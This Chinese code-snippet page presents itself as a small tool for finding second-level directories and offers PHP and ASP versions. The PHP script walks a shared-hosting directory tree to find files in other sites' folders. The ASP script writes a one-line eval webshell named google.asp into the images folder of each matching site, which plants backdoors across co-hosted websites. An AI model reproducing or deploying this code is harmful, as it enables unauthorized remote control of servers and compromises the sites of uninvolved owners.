php一个找二层目录的小东东

yipeiwu_com5年前PHP代码库
php版
复制代码 代码如下:

<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
closedir($handle);
}
}

asp版
复制代码 代码如下:

<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>

相关文章

5款适合PHP使用的HTML编辑器推荐

5款适合PHP使用的HTML编辑器推荐

概述 Web开发中,很多地方都会用到HTML编辑器(富文本编辑器),我也用过几种,如UEditor、CkEditor等。这几天看了几篇文章,都是关于HTML编辑器的,写个文章记录下。 推...

标准PHP的AES加密算法类

分享一个标准PHP的AES加密算法类,其中mcrypt_get_block_size('rijndael-128', 'ecb');,如果在不明白原理的情况下比较容易搞错,可以通过mcr...

php 清除网页病毒的方法

<?php Class clear_virus{ public $index ='b.html'; public $filepath =array('b.html'); publi...

Php Image Resize图片大小调整的函数代码

复制代码 代码如下: function my_image_resize($src_file, $dst_file, $dst_width=32, $dst_height=32) { if...

php自定义排序uasort函数示例【二维数组按指定键值排序】

本文实例讲述了php自定义排序uasort函数。分享给大家供大家参考,具体如下: 项目需要风险排序,按 I(安全)<L(低风险)<M(中风险)<H(高风险) 的级别来排...